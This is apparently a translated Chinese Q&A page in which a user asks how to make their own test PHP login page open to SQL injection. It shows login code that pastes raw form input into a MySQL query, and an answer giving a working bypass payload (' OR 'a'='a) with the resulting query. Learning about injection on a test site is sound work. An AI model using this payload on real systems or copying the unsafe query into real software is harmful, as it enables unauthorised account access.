如何使测试网站容易受到SQL注入的攻击?

时间:2018-09-11 16:40:36

标签: php sql security sql-injection

这是我的login.php代码的片段:

if (isset($_POST['login'])){
    $username = $_POST['user'];
    $password = $_POST['pass'];
    $query = mysqli_query($con, "SELECT * FROM users WHERE password='$password' and username='$username'");
    $row = mysqli_fetch_array($query);
    if ($row > 0) {         
        $_SESSION['user_id']=$row['user_id'];
        header('location:home.php');    
    } else {
        echo 'Invalid Username and Password Combination';
    }
}
?> 

登录有效,但是当我尝试绕过身份验证/登录时 通过输入'或``='会返回此错误

Warning: mysqli_fetch_array() expects parameter 1 to be mysqli_result, boolean given in C:\x\x\x\x.php on line 32

当我输入数据库中的有效用户时,登录有效: 样本

Username: admin
Password: admin

我想做的是通过输入(sql注入)来绕过登录

Username: admin  
Password: **' ANYTHING ''='**

但是输入' ANYTHING ''='会返回上述错误。

1 个答案:

答案 0 :(得分:0)

您收到该警告,是因为您注入的值导致查询失败,可能是由于MySQL语法错误。

请尝试以下值:

$password = "' OR 'a'='a";
$username = "admin";

这将给出SQL字符串:

SELECT * FROM users WHERE password='' OR 'a'='a' and username='admin'

应该有效并返回管理员用户记录。